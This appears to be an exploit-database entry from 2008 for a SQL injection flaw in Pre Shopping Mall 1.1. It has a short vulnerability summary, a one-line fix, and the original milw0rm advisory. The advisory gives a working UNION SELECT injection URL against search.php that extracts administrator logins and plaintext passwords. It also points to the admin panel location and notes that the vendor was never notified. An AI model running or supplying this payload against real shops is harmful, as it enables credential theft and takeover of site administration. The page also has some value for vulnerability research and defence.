Pre Shopping Mall 1.1 SQL Injection Vulnerability

vendor:

Pre Shopping Mall

by:

t0pP8uZz

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Pre Shopping Mall

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:preproject:pre_shopping_mall

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2008

Pre Shopping Mall 1.1 SQL Injection Vulnerability

Pre Shopping Mall suffers from multiple remote sql injection bugs. This allows the remote attacker to pull admin credentials from the database, since the admin details are in plaintext this makes it easy for the attacker to gain access to the administarion panel.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+		    Pre Shopping Mall 1.1 SQL Injection Vulnerablity	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 
Script Download: http://preproject.com
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 
Pre Shopping Mall suffers from multiple remote sql injection bugs.
this allows the remote attacker to pull admin credentials from the database, since the admin details are in plaintext
this makes it easy for the attacker to gain access to the administarion panel.



SQL Injection:
ADMIN: http://site.com/emall/search.php?search='/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONCAT(login,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/admin/*



NOTE/TIP: 
admin login is at /admin/
injection is multi-row, so it will pull all rows from a table.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		    Pre Shopping Mall 1.1 SQL Injection Vulnerablity	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-06]